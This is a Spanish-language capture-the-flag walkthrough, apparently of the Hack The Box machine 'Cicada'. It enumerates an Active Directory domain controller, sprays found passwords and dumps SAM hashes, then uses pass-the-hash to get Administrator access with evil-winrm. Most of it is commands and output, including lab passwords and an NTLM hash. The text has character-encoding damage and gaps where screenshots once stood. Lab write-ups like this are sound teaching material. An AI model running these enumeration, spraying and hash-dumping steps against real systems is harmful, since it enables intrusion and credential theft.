cicada
Realizamos el reconocimiento de puertos abierto de la maquina en un principio:
Puertos Abiertos y Servicios Identificados

Posible vector de ataque:
SMB (445/tcp): Puede ser vulnerable a ataques como Pass-the-Hash o explotaciรณn de vulnerabilidades como EternalBlue.
Kerberos (88/tcp): kerbrute para enumerar usuarios validos a nivel de sistema
WinRM (5985/tcp): Posible acceso remoto con credenciales vรกlidas.
LDAP (389/tcp, 636/tcp): Extracciรณn de informaciรณn del directorio activo si es accesible.
DNS (53/tcp): Puede ser รบtil para la enumeraciรณn de subdominios internos.
Uso de netexec
en SMB
netexec
en SMBCon el parรกmetro siguiente se verifica la configuraciรณn del servicio SMB en la mรกquina objetivo:
netexec smb 10.10.11.35
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder protocols
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating default workspace
[*] Initializing NFS protocol database
[*] Initializing SSH protocol database
[*] Initializing LDAP protocol database
[*] Initializing SMB protocol database
[*] Initializing WINRM protocol database
[*] Initializing RDP protocol database
[*] Initializing WMI protocol database
[*] Initializing VNC protocol database
[*] Initializing MSSQL protocol database
[*] Initializing FTP protocol database
[*] Copying default configuration file
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
Ahora con Kerbrute podemos enumerar usuarios:

Validemos usuarios:
โฏ ./kerbrute userenum --dc 10.10.11.35 -d cicada.htb /opt/SecLists/Usernames/xato-net-10-million-usernames.txt
Se esta encontrando usuarios:
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 02/16/25 - Ronnie Flathers @ropnop
2025/02/16 11:25:11 > Using KDC(s):
2025/02/16 11:25:11 > 10.10.11.35:88
2025/02/16 11:25:47 > [+] VALID USERNAME: guest@cicada.htb
Con netexec --shares podemos listar archivos compartidos:
โฏ netexec smb 10.10.11.35 --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [-] IndexError: list index out of range
SMB 10.10.11.35 445 CICADA-DC [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
Al salir "STATUS_USER_SESSION_DELETED" probamos con smbclient:
smbclient -L 10.10.11.35 -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
DEV Disk
HR Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Ahora al probar con el usuario que salio guest viendo sus recursos compartidos:
โฏ netexec smb 10.10.11.35 -u 'guest' -p '' --shares

netexec MEJOR QUE crackmapexec
Con smbmap podemos igualmente listar los archivos pero nos especifica los permisos mucho mejor que el smbclient
> smbmap -H 10.10.11.35 -u 'guest' -p ''

Nos llama la atencion el HR
HR READ ONLY
Por lo cual miramos que contiene esa carpeta que podemos leer:
โฏ smbmap -H 10.10.11.35 -u 'guest' -p '' -r HR
./HR
dr--r--r-- 0 Fri Mar 15 01:26:17 2024 .
dr--r--r-- 0 Thu Mar 14 07:21:29 2024 ..
fr--r--r-- 1266 Wed Aug 28 12:31:48 2024 Notice from HR.txt
Ahora intentamos descargarlo para ver su contenido:
Usando smbclient:
smbclient //10.10.11.35/HR -N
Listamos y lo descargamos:
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (0,6 KiloBytes/sec) (average 0,6 KiloBytes/sec)
Contenido:

Con:
rpcclient -U "" 10.10.11.35
ยฟPara quรฉ sirve?
Enumeraciรณn de informaciรณn del sistema :
Interacciรณn con SMB (Puerto 445) s
Pruebas de acceso anรณnimo a funciones RPC
Comandos รบtiles dentro derpcclient
rpcclient
Una vez dentro de la sesiรณn interactiva de rpcclient
, puedes ejecutar:
srvinfo
โ Informaciรณn delenumdomusers
โ Enumeradorquerydominfo
โ Obtener informaciรณn del dominio.enumdomgroups
โ Listar grupos del dominio.netshareenum
โ Ver recursos compartidos SMB.enumprinters
โ Enumerar las impresoras compartidas en un servidor Windows.querydispinfo
โ Informaciรณn sobre las cuentas de usuario en un dominio de Windows.
Bien ahora al ver que demora mucho el Kerbrute usamos otra herramienta para enumerar users:
netexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute

Pero solo queremos lo que dice SidTyUser por lo cual grepeamos:
โฏ netexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute | grep "SidTypeUser"
SMB 10.10.11.35 445 CICADA-DC 500: CICADA\Administrator (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 501: CICADA\Guest (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 502: CICADA\krbtgt (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)
Y se encontro usuarios validos al instante..
Copiamos los usuarios a un archivo para solo sacar los usuarios:
โฏ batcat users.txt | awk '{print $6}' | tr '\\' ' ' | awk '{print $2}'
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
El comando
impacket-GetNPUsers
sirve para encontrar usuarios en Active Directory vulnerables al ataque AS-REP Roasting, lo que permite obtener hashes de sus contraseรฑas sin necesidad de credenciales.โฏ impacket-GetNPUsers -no-pass -usersfile users.txt cicada.htb/
Bien ahora podemos usar fuerza bruta con la contraseรฑa encontrada para cada usuario y ver para cual si funciona:
netexec smb 10.10.11.35 -u users.txt -p 'Cicada$M@CorpB@Lp#nZp18!'

Ahora verificamos si el usuario tiene winrm para pasar a una consola interactiva:
Solo agregando winrm en vez de smb se verifica:
netexec winrm 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'

Comando netexec
para enumerar recursos compartidos:
netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares

Seguimos:
Con:
Nos conectamos con el user y credencial que obtuvimos para ver que contiene:
โฏ rpcclient -U 'michael.wrightson%Cicada$M6Corpb*@Lp#nZp!8' 10.10.11.35
Usando:
rpcclient $> querydispinfo
Se encontro una contraseรฑa nueva del usuario david.orelious:
david.orelious Desc: Just in case I forget my password is aRt$Lp#7t*VQ!3
Probando si podemos usar winrm:
netexec winrm 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'

Ahora vemos los recursos compartidos del nuevo user con la nueva credencial:
netexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares

smbmap -H 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' -r DEV
Al listarlo de manera recursiva se puede ver:
./DEV
dr--r--r-- 0 Wed Aug 28 12:27:31 2024 .
dr--r--r-- 0 Thu Mar 14 07:21:29 2024 ..
fr--r--r-- 601 Wed Aug 28 12:28:22 2024 Backup_script.ps1
Ahora para descargar el Backup usamos smblient:
smbclient //10.10.11.35/DEV -U 'david.orelious%aRt$Lp#7t*VQ!3'
Al entrar descargamos el archivo usando get:

Bien ahora verificamos si es parte de:
Grupos requeridos para WinRM:
Grupo Remote Management Users
:
netexec winrm 10.10.11.35 -u 'emily.oscars' -p 'Q1Sej.pm%ob7t+Vt'
SI ES DEL GRUPO:

Bien ahora usando;
evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q1Sej.pm%ob7t+Vt'

AHORA ESCALADA DE PRIVILEGIOS:

Usano el siguiente repositorio podemos abusar de esto:
Descagamos los archivos para usar impacket:

impacket-secretsdump -sam sam.hive -system system.hive LOCAL

utilizando la tรฉcnica Pass-the-Hash (PtH)
evil-winrm -i 10.10.11.35 -u 'Administrator' -H 2b87e7c93a3e8a0ea4a581937016f341

Last updated